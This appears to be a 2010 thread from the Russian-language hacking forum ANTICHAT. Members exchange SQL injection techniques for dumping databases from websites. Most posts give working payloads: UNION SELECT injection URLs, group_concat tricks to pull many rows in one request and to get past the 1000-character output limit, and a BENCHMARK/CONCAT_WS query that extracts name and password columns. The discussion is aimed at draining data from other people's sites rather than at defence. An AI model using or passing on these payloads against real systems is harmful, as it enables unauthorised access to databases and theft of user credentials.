ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #12011  
Старый 15.03.2010, 23:31
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме:
2052341

Репутация: 95
По умолчанию

CyberHunter, все что тебе может пригодиться(или почти все) всегда лежит в текущей бд, а текущую бд узнаешь в самом начале с помощью database()
 
Ответить с цитированием

  #12012  
Старый 15.03.2010, 23:38
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Цитата:
Сообщение от jecka3000  
CyberHunter, все что тебе может пригодиться(или почти все) всегда лежит в текущей бд, а текущую бд узнаешь в самом начале с помощью database()
Откуда такая уверенность? Приведу пример (у меня біл реально такой случай). Был сайт, какие-то объявления. Здесь же была скуля. На этом же сайте же сайте был форум, таблицы которого находилась в отдельной БД, а в текущей - только таблички новостей.

Так что не факт, что на сайте используется только одна основная БД.
 
Ответить с цитированием

  #12013  
Старый 15.03.2010, 23:46
Nek1t
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме:
405538

Репутация: 23
По умолчанию

От чего зависит, когда при иньекции скрипт начнет сливать всю информацию из таблицы, а когда - по одной строке(придется использовать лимиты)?
Для понятности вопроса имеем, к примеру, иньекцию с полем 2, которое выводится:
PHP код:
http://site.com/user.php?id=-1+UNION+SELECT+1,2,3-- 
При
PHP код:
http://site.com/user.php?id=-1+UNION+SELECT+1,username,3-- 
будет получена только 0 строка из таблицы. Чтобы получить остальные данные, придется использовать лимит, но выводится будет все равно только одна строка.

Есть ли способы во втором случае сливать более чем одну строку за запрос?
 
Ответить с цитированием

  #12014  
Старый 15.03.2010, 23:51
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Цитата:
Сообщение от Nek1t  
От чего зависит, когда при иньекции скрипт начнет сливать всю информацию из таблицы, а когда - по одной строке(придется использовать лимиты)?
Для понятности вопроса имеем, к примеру, иньекцию с полем 2, которое выводится:
PHP код:
http://site.com/user.php?id=-1+UNION+SELECT+1,2,3-- 
При
PHP код:
http://site.com/user.php?id=-1+UNION+SELECT+1,username,3-- 
будет получена только 0 строка из таблицы. Чтобы получить остальные данные, придется использовать лимит, но выводится будет все равно только одна строка.

Есть ли способы во втором случае сливать более чем одну строку за запрос?
использовать group_concat(username)

А одна строка потому что в скрипте строка mysql_fetch_row не в цикле, а вызывается один раз
 
Ответить с цитированием

  #12015  
Старый 15.03.2010, 23:52
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Nek1t, да. Есть ф-ция group_concat, но её использование ненадежно, т.к. она имеет лимит вывода - 1000 символов.
 
Ответить с цитированием

  #12016  
Старый 15.03.2010, 23:55
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Цитата:
Сообщение от mailbrush  
Nek1t, да. Есть ф-ция group_concat, но её использование ненадежно, т.к. она имеет лимит вывода - 1000 символов.
можно получать больше 1000 символов если использовать такою конструкцию
union+select+1,group_concat(username),3+from+table +where+username>'последнего полученного_значения'
т.к. результат сортируется по алфавиту
 
Ответить с цитированием

  #12017  
Старый 16.03.2010, 00:05
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Цитата:
Сообщение от mailbrush  
Nek1t, да. Есть ф-ция group_concat, но её использование ненадежно, т.к. она имеет лимит вывода - 1000 символов.
Можно всё одним запросом получить - читай эту тему.
 
Ответить с цитированием

  #12018  
Старый 16.03.2010, 00:12
Seravin
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555

Репутация: 226
По умолчанию

Цитата:
Сообщение от Root-access  
Можно всё одним запросом получить - читай эту тему.
ИМХО самое нужное в той теме - это чтобы при просмотре таблиц не включать information_schema(ИМХО лучше всего получать таблицы вообще по базам) и то что выводится по алфавиту
 
Ответить с цитированием

  #12019  
Старый 16.03.2010, 01:50
l1ght
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893

Репутация: 2163
По умолчанию

Цитата:
Сообщение от Root-access  
Можно всё одним запросом получить - читай эту тему.
кстати, group_concat тоже можно загнать в бенчмарк, теоретически база сдампится быстрее,
последний полный кейворд можно определять например так: (набросал схематически, возможны косяки):
Цитата:
@c:=substring(left(reverse(group_concat(table_name separator '@@')),locate('@@',reverse(group_concat(table_name separator '@@')))+2),1,locate('@@',left(reverse(group_concat (table_name separator '@@')),locate('@@',reverse(group_concat(table_name separator '@@')))+2)))
/add или коротко:
@a:=reverse(group_concat(user order by user separator '@@'))
@b:=locate('@@',@a)
@c:=left(@a,@b+2)
@d:=substring(@c,1,locate('@@',@c))
.. where user>@d
Цитата:
ИМХО самое нужное в той теме - это чтобы при просмотре таблиц не включать information_schema
where table_schema!='information_schema' в чем проблема
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
 
Ответить с цитированием

  #12020  
Старый 16.03.2010, 03:16
Nek1t
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме:
405538

Репутация: 23
Arrow

Цитата:
SELECT @count:=1, @out:=' ', BENCHMARK(10, @out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',name,password,@count:=IFNULL(@count+ 1,@count)) FROM users WHERE id_user=@count LIMIT 0,1))), @out
Посмотрел, но не совсем уловил принцип. А если id_user вообще нет?
У меня вывод поля идет в заголовки, так что вывести всю таблицу скорее всего не удасться просто в принципе.

Цитата:
union+select+1,group_concat(username),3+from+table +where+username>'последнего полученного_значения'
Вот тут заминка: username>'последнего полученного_значения'
Это ничего не дало - записи выводятся так же с первой и до 1024 символа.
И то, что username - строковый параметр, не влияет на операцию сравнения?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ